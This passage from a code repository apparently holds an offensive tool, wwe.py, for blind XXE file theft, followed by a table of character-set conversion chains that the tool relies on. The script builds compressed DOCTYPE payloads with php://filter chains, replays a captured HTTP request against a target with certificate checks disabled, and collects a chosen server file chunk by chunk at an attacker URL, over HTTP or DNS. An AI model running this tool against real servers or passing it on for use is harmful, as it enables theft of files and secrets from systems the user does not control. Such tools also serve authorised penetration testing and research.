CONVERSIONS.items() 90 | } 91 | 92 | -------------------------------------------------------------------------------- /wwe.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import requests 3 | import urllib3 4 | import tempfile 5 | import os 6 | import re 7 | from urllib.parse import urlparse 8 | 9 | from libs.tampers import MultiTamper, ReplaceTamper, URLETamper, B64Tamper 10 | from libs.server import start_server, SERVER_QUEUE 11 | from libs.wrapwrap import WrapWrap 12 | from libs.lightyear import Lightyear 13 | from libs.output import LiveOutput 14 | 15 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 16 | 17 | DOCTYPE_PATTERN = '' 18 | DTD_PATTERN = """ 19 | 20 | '> 21 | %payload; 22 | %e; 23 | """ 24 | 25 | class Mode: 26 | def __init__(self, exfiltrate_url: str, dns_exf: bool, live: LiveOutput): 27 | self.exfiltrate_url = exfiltrate_url 28 | self.dns_exf = dns_exf 29 | self.live = live 30 | 31 | 32 | class AutoMode(Mode): 33 | @classmethod 34 | def init_argparse(cls, subparser): 35 | parser = subparser.add_parser('AUTO') 36 | 37 | parser.add_argument('request_filename', 38 | help='the filename that contains the full http request') 39 | parser.add_argument('-u', '--target', 40 | required=True, 41 | help='the target URI if different from the host header in the request file') 42 | parser.add_argument('-x', '--proxy') 43 | 44 | def __init__(self, /, exfiltrate_url: str, dns_exf: bool, request_filename:str, live: LiveOutput, **kwargs): 45 | super().__init__(exfiltrate_url, dns_exf, live) 46 | self.req = self.parse_request(request_filename, kwargs.get('target')) 47 | self.kwargs = kwargs 48 | self.sess = requests.session() 49 | 50 | if kwargs.get('proxy'): 51 | self.sess.proxies.update({ 52 | 'http': kwargs['proxy'], 53 | 'https': kwargs['proxy'], 54 | }) 55 | 56 | o = urlparse(exfiltrate_url) 57 | if not o.port: 58 | if not dns_exf: 59 | exit('Exfiltration url must include port.') 60 | else: 61 | start_server(o.port) 62 | 63 | def send(self, payload: str) -> None: 64 | tamper = MultiTamper([ 65 | ReplaceTamper('@payload', payload), 66 | URLETamper(), 67 | B64Tamper() 68 | ]) 69 | 70 | url = tamper.handle(self.req.url) 71 | body = self.req.body 72 | if body: 73 | body = tamper.handle(body) 74 | 75 | r = self.sess.request( 76 | self.req.method, 77 | url, 78 | headers=self.req.headers, 79 | data=body, 80 | verify=False, 81 | ) 82 | self.live.print(f'[+] request sended, response code is {r.status_code}') 83 | 84 | def handle(self) -> None: 85 | if self.dns_exf: 86 | # @todo: not automated now 87 | self.live.stop() 88 | data = input('Enter recived data:') 89 | self.live.start() 90 | else: 91 | data = SERVER_QUEUE.get(True, timeout=120) 92 | return data 93 | 94 | def parse_request(self, filename: str, target_uri: str) -> requests.Request: 95 | req = requests.Request() 96 | with open(filename, 'r') as f: 97 | raw_headers, body = re.split('(?:\n\n|\r\r|\r\n\r\n)', f.read(), maxsplit=1) 98 | first_line, raw_headers = re.split('(?:\n|\r|\r\n)', raw_headers, maxsplit=1) 99 | method, path, _ = first_line.split(' ', 2) 100 | 101 | headers = {} 102 | for header in re.split('(?:\n|\r|\r\n)', raw_headers): 103 | k, v = header.split(':', maxsplit=1) 104 | headers[k.strip().upper()] = v.strip() 105 | 106 | req.url = target_uri.rstrip('/') + path 107 | req.method = method 108 | req.headers = headers 109 | req.body = body 110 | return req 111 | 112 | 113 | class ManualMode(Mode): 114 | @classmethod 115 | def init_argparse(cls, subparser): 116 | subparser.add_parser('MANUAL') 117 | 118 | def __init__(self, /, exfiltrate_url: str, dns_exf: bool, live: LiveOutput): 119 | super().__init__(exfiltrate_url, dns_exf, live) 120 | 121 | def send(self, payload: str) -> None: 122 | self.live.print(f'[+] Next chunk payload: \n{payload}\n') 123 | 124 | def handle(self) -> None: 125 | return input('Enter recived data:') 126 | 127 | class Main: 128 | def __init__(self, mode: Mode, filename: str, length: int, live: LiveOutput): 129 | self.mode = mode 130 | self.filename = filename 131 | self.length = length 132 | self.tmpfilename = tempfile.NamedTemporaryFile('wb', delete=False).name 133 | self.live = live 134 | 135 | def start(self, decode: bool): 136 | self.live.start() 137 | self._main_loop(decode) 138 | 139 | def _main_loop(self, decode: bool) -> None: 140 | mode = self.mode 141 | ww_fc = WrapWrap().generate(self.length) 142 | lightyear = Lightyear(self.length) 143 | 144 | while True: 145 | try: 146 | ly_fc = lightyear.fc() 147 | dtd = self.make_dtd_content(mode, f'php://filter/{ly_fc}/{ww_fc}/resource={self.filename}') 148 | self.live.print(f'[+] uncompressed payload size: {len(dtd)}') 149 | 150 | payload = self.make_doctype_payload(dtd) 151 | mode.send(payload) 152 | 153 | data = mode.handle() 154 | if not data: 155 | self.live.print('[-] Data is empty, just finish') 156 | break 157 | 158 | fixed_data = data.replace(' ', '+').replace('-', '') # fxied after REMOVE_EQUAL 159 | lightyear.update(fixed_data) 160 | self.live.print(f'[+] fetched: \n{lightyear.output(decode)}\n\n\n', flush=True) 161 | # @todo: better eof check 162 | if ' -AD0' in data: 163 | break 164 | except KeyboardInterrupt: 165 | break 166 | except Exception as e: 167 | self.live.stop() 168 | print('[Error] ' + str(e)) 169 | break 170 | 171 | def make_dtd_content(self, mode: Mode, filter_chain: str) -> str: 172 | if not mode.dns_exf: 173 | url = mode.exfiltrate_url + '?exf=%exf;' 174 | else: 175 | o = urlparse(mode.exfiltrate_url) 176 | url = f"{o.scheme}://%exf;.{o.netloc}/" 177 | return DTD_PATTERN.format(FC=filter_chain, EXFILTRATE_URL=url) 178 | 179 | def make_doctype_payload(self, dtd:str) -> str: 180 | compressed = self.compress_payload(dtd) 181 | system_uri = f'php://filter/convert.base64-decode/zlib.inflate/resource=data:,{compressed}' 182 | return DOCTYPE_PATTERN.format(SYSTEM_URL=system_uri) 183 | 184 | def compress_payload(self, data: str) -> str: 185 | with open(self.tmpfilename, 'wb') as f: 186 | f.write(data.encode()) 187 | 188 | # diff zlib php & python :'( 189 | php = f"echo file_get_contents('php://filter/zlib.deflate/convert.base64-encode/resource={self.tmpfilename}');" 190 | encoded = os.popen(f'php -r "{php}"', 'r') 191 | return encoded.read().replace('+', '%2b') 192 | 193 | def __del__(self): 194 | self.live.stop() 195 | 196 | if __name__ == '__main__': 197 | parser = argparse.ArgumentParser() 198 | parser.add_argument('exfiltrate_url') 199 | parser.add_argument('-f', '--filename', required=True, 200 | help="the name of the file whose content we want to get") 201 | parser.add_argument('-l', '--length', type=int, default=18, 202 | help='each request will retrieve l-bytes in b64. Increase this param will be huge increase payload size') 203 | parser.add_argument('--dns-exf', action=argparse.BooleanOptionalAction, default=False, 204 | help='enable/disable exfiltration over DNS') 205 | parser.add_argument('--decode', action=argparse.BooleanOptionalAction, 206 | help='Inline decode to b64 in output') 207 | subparsers = parser.add_subparsers(required=True, dest='mode') 208 | 209 | AutoMode.init_argparse(subparsers) 210 | ManualMode.init_argparse(subparsers) 211 | 212 | args = vars(parser.parse_args()) 213 | 214 | filename = args.pop('filename') 215 | length = args.pop('length') 216 | mode_name = args.pop('mode') 217 | decode = args.pop('decode') 218 | live_enabled = True # @todo: add flag 219 | # @todo: add output into file 220 | 221 | is_manual = mode_name == 'MANUAL' 222 | if is_manual: 223 | print('NOTICE: MANUAL has always ugly live') 224 | live_enabled = True 225 | 226 | mode_cls = ManualMode if is_manual else AutoMode 227 | live_output = LiveOutput(live_enabled, ugly=is_manual) 228 | mode = mode_cls(**args, live=live_output) 229 | 230 | Main(mode, filename, length, live_output).start(decode) -------------------------------------------------------------------------------- /libs/sets.py: -------------------------------------------------------------------------------- 1 | __all__ = ["DIGIT_SETS"] 2 | 3 | DIGIT_SETS = [ 4 | [ 5 | "0", 6 | ( 7 | ("IBM037", "8859_1"), 8 | ("IBM037", "IBM1144"), 9 | ("IBM871", "IBM037"), 10 | ("8859_1", "IBM037"), 11 | ), 12 | True, 13 | ], 14 | [ 15 | "1", 16 | (("8859_1", "EBCDIC-AT-DE-A"), ("IBM901", "IBM1156"), ("8859_1", "IBM037")), 17 | True, 18 | ], 19 | [ 20 | "2", 21 | ( 22 | ("8859_1", "EBCDIC-AT-DE-A"), 23 | ("ECMA-CYRILLIC", "ISO-8859-5"), 24 | ("IBM037", "IBM1149"), 25 | ("8859_1", "IBM037"), 26 | ), 27 | True, 28 | ], 29 | [ 30 | "3", 31 | ( 32 | ("8859_1", "EBCDIC-AT-DE-A"), 33 | ("8859_1", "IBM037"), 34 | ("CP1251", "CP10007"), 35 | ("8859_1", "IBM037"), 36 | ), 37 | True, 38 | ], 39 | # [ 40 | # "4", 41 | # ( 42 | # ("8859_1", "EBCDIC-AT-DE-A"), 43 | # ("VISCII", "TCVN5712-1"), 44 | # ("8859_1", "IBM037"), 45 | # ("ISIRI-3342", "ISIRI-3342"), 46 | # ), 47 | # False, 48 | # ], 49 | # [ 50 | # "5", 51 | # ( 52 | # ("IBM037", "8859_1"), 53 | # ("CP775", "IBM901"), 54 | # ("IBM1129", "IBM1130"), 55 | # ("8859_1", "IBM037"), 56 | # ), 57 | # False, 58 | # ], 59 | [ 60 | "6", 61 | ( 62 | ("8859_1", "EBCDIC-AT-DE-A"), 63 | ("8859_1", "IBM037"), 64 | ("IBM1129", "IBM1130"), 65 | ("8859_1", "IBM037"), 66 | ), 67 | True, 68 | ], 69 | [ 70 | "7", 71 | ( 72 | ("IBM037", "8859_1"), 73 | ("IBM037", "8859_1"), 74 | ("IBM1142", "IBM1149"), 75 | ("8859_1", "IBM037"), 76 | ), 77 | True, 78 | ], 79 | [ 80 | "8", 81 | (("8859_1", "EBCDIC-AT-DE-A"), ("CSN_369103", "IBM1153"), ("8859_1", "IBM037")), 82 | True, 83 | ], 84 | [ 85 | "9", 86 | ( 87 | ("8859_1", "EBCDIC-AT-DE-A"), 88 | ("IBM1124", "IBM1123"), 89 | ("IBM1147", "IBM1149"), 90 | ("8859_1", "IBM037"), 91 | ), 92 | True, 93 | ], 94 | [ 95 | "A", 96 | ( 97 | ("IBM037", "8859_1"), 98 | ("IBM1153", "CSN_369103"), 99 | ("ISO-8859-9E", "IBM1122"), 100 | ("8859_1", "IBM037"), 101 | ), 102 | True, 103 | ], 104 | [ 105 | "B", 106 | (("IBM1122", "HP-ROMAN8"), ("IBM037", "IBM1149"), ("8859_1", "IBM037")), 107 | True, 108 | ], 109 | [ 110 | "C", 111 | (("IBM1144", "HP-ROMAN8"), ("IBM1122", "IBM1026"), ("8859_1", "IBM037")), 112 | True, 113 | ], 114 | ["D", (("IBM1144", "IBM1149"), ("8859_1", "IBM037")), True], 115 | [ 116 | "E", 117 | (("ISO_5427", "IBM855"), ("ECMA-CYRILLIC", "IBM855"), ("8859_1", "IBM037")), 118 | True, 119 | ], 120 | [ 121 | "F", 122 | ( 123 | ("IBM420", "IBM1008"), 124 | ("IBM1153", "CSN_369103"), 125 | ("8859_1", "IBM1026"), 126 | ("8859_1", "IBM037"), 127 | ), 128 | True, 129 | ], 130 | ["G", (("IBM1122", "IBM871"), ("IBM1142", "IBM1149"), ("8859_1", "IBM037")), True], 131 | ["H", (("ISO_5427", "IBM1025"), ("8859_1", "IBM037")), True], 132 | ["I", (("IBM1145", "IBM1026"), ("8859_1", "IBM037")), True], 133 | ["J", (("IBM1141", "IBM1122"), ("8859_1", "IBM1149"), ("8859_1", "IBM037")), True], 134 | [ 135 | "K", 136 | ( 137 | ("ISO_5427", "IBM855"), 138 | ("8859_1", "IBM277"), 139 | ("8859_1", "IBM1149"), 140 | ("8859_1", "IBM037"), 141 | ), 142 | True, 143 | ], 144 | # problematic conversion 145 | # [ 146 | # "L", 147 | # (("ISO_5427", "ECMA-CYRILLIC"), ("CP1258", "IBM1130"), ("8859_1", "IBM037")), 148 | # True, 149 | # ], 150 | [ 151 | "M", 152 | (("ISO_5427", "ECMA-CYRILLIC"), ("IBM1144", "IBM1026"), ("8859_1", "IBM037")), 153 | True, 154 | ], 155 | [ 156 | "N", 157 | (("ISO_5427", "ECMA-CYRILLIC"), ("CP1251", "CP10007"), ("8859_1", "IBM037")), 158 | True, 159 | ], 160 | [ 161 | "O", 162 | (("ISO_5427", "GOST_19768-74"), ("IBM902", "CP1252"), ("8859_1", "IBM037")), 163 | True, 164 | ], 165 | ["P", (("ISO_5427", "CP10007"), ("KOI8-R", "MIK"), ("8859_1", "IBM037")), True], 166 | ["Q", (("IBM1147", "IBM1149"), ("8859_1", "IBM037")), True], 167 | [ 168 | "R", 169 | ( 170 | ("IBM420", "IBM1008"), 171 | ("IBM420", "IBM1008"), 172 | ("IBM901", "IBM1156"), 173 | ("8859_1", "IBM037"), 174 | ), 175 | True, 176 | ], 177 | ["S", (("IBM4971", "IBM4909"), ("IBM1122", "IBM1155"), ("8859_1", "IBM037")), True], 178 | ["T", (("IBM4971", "IBM4909"), ("IBM1144", "IBM1155"), ("8859_1", "IBM037")), True], 179 | [ 180 | "U", 181 | ( 182 | ("IBM4971", "IBM4909"), 183 | ("IBM420", "IBM1008"), 184 | ("8859_1", "IBM871"), 185 | ("8859_1", "IBM037"), 186 | ), 187 | True, 188 | ], 189 | [ 190 | "V", 191 | ( 192 | ("IBM037", "8859_1"), 193 | ("IBM1025", "IBM1124"), 194 | ("IBM1129", "IBM1130"), 195 | ("8859_1", "IBM037"), 196 | ), 197 | True, 198 | ], 199 | ["W", (("IBM1122", "HP-ROMAN8"), ("CP1125", "KOI8-R"), ("8859_1", "IBM037")), True], 200 | ["X", (("IBM1144", "IBM1026"), ("IBM1129", "IBM1130"), ("8859_1", "IBM037")), True], 201 | ["Y", (("IBM420", "IBM1008"), ("IBM037", "IBM1149"), ("8859_1", "IBM037")), True], 202 | ["Z", (("IBM1149", "IBM1142"), ("8859_1", "IBM1149"), ("8859_1", "IBM037")), True], 203 | ["a", (("ISO_5427", "CP1251"), ("IBM037", "IBM1149"), ("8859_1", "IBM037")), True], 204 | [ 205 | "b", 206 | ( 207 | ("IBM1112", "IBM901"), 208 | ("IBM1149", "IBM1142"), 209 | ("IBM037", "IBM1149"), 210 | ("8859_1", "IBM037"), 211 | ), 212 | True, 213 | ], 214 | ["c", (("IBM037", "IBM1122"), ("8859_1", "IBM1149"), ("8859_1", "IBM037")), True], 215 | ["d", (("IBM037", "8859_1"), ("IBM037", "IBM1149"), ("8859_1", "IBM037")), True], 216 | ["e", (("IBM037", "8859_1"), ("HP-THAI8", "IBM1160"), ("8859_1", "IBM037")), True], 217 | ["f", (("ISO_5427", "IBM855"), ("IBM1124", "CP1251"), ("8859_1", "IBM037")), True], 218 | [ 219 | "g", 220 | ( 221 | ("IBM1141", "HP-ROMAN8"), 222 | ("IBM1149", "IBM1142"), 223 | ("IBM037", "IBM1149"), 224 | ("8859_1", "IBM037"), 225 | ), 226 | True, 227 | ], 228 | [ 229 | "h", 230 | ( 231 | ("IBM4971", "IBM4909"), 232 | ("IBM1153", "CSN_369103"), 233 | ("IBM1129", "IBM1130"), 234 | ("8859_1", "IBM037"), 235 | ), 236 | True, 237 | ], 238 | ["i", (("IBM037", "IBM1145"), ("8859_1", "IBM1149"), ("8859_1", "IBM037")), True], 239 | ["j", (("IBM037", "IBM1026"), ("8859_1", "IBM037")), True], 240 | [ 241 | "k", 242 | ( 243 | ("ISO_5427", "IBM855"), 244 | ("IBM1124", "IBM1123"), 245 | ("8859_1", "IBM037"), 246 | ("8859_1", "IBM037"), 247 | ), 248 | True, 249 | ], 250 | # ["l", (("IBM037", "8859_1"), ("IBM037", "8859_1")), False], 251 | [ 252 | "m", 253 | (("ISO_5427", "CP10007"), ("TCVN5712-1", "VISCII"), ("8859_1", "IBM037")), 254 | True, 255 | ], 256 | ["n", (("ISO_5427", "CP1251"), ("IBM1144", "IBM1026"), ("8859_1", "IBM037")), True], 257 | ["o", (("ISO_5427", "CP10007"), ("8859_1", "IBM037")), True], 258 | ["p", (("IBM1142", "IBM1155"), ("8859_1", "IBM037")), True], 259 | [ 260 | "q", 261 | (("8859_1", "EBCDIC-AT-DE-A"), ("IBM1390", "IBM1399"), ("8859_1", "IBM037")), 262 | True, 263 | ], 264 | [ 265 | "r", 266 | (("ISO_5427", "GOST_19768-74"), ("IBM037", "IBM1149"), ("8859_1", "IBM037")), 267 | True, 268 | ], 269 | [ 270 | "s", 271 | ( 272 | ("IBM420", "IBM1008"), 273 | ("IBM1122", "IBM902"), 274 | ("ISO-8859-9", "IBM1155"), 275 | ("8859_1", "IBM037"), 276 | ), 277 | True, 278 | ], 279 | [ 280 | "t", 281 | ( 282 | ("IBM420", "IBM1008"), 283 | ("IBM420", "IBM1008"), 284 | ("CSN_369103", "IBM870"), 285 | ("8859_1", "IBM037"), 286 | ), 287 | True, 288 | ], 289 | ["u", (("IBM037", "8859_1"), ("IBM1144", "IBM1026"), ("8859_1", "IBM037")), True], 290 | [ 291 | "v", 292 | (("IBM1025", "ECMA-CYRILLIC"), ("IBM037", "IBM1149"), ("8859_1", "IBM037")), 293 | True, 294 | ], 295 | [ 296 | "w", 297 | ( 298 | ("IBM037", "8859_1"), 299 | ("GEORGIAN-PS", "GEORGIAN-ACADEMY"), 300 | ("IBM1144", "IBM1026"), 301 | ("8859_1", "IBM037"), 302 | ), 303 | True, 304 | ], 305 | ["x", (("IBM037", "8859_1"), ("IBM1122", "IBM1026"), ("8859_1", "IBM037")), True], 306 | [ 307 | "y", 308 | (("ISO_5427", "CP10007"), ("VISCII", "TCVN5712-1"), ("8859_1", "IBM037")), 309 | True, 310 | ], 311 | [ 312 | "z", 313 | ( 314 | ("8859_1", "IBM1390"), 315 | ("IBM037", "8859_1"), 316 | ("IBM1124", "CP10007"), 317 | ("8859_1", "IBM037"), 318 | ), 319 | True, 320 | ], 321 | ] 322 | --------------------------------------------------------------------------------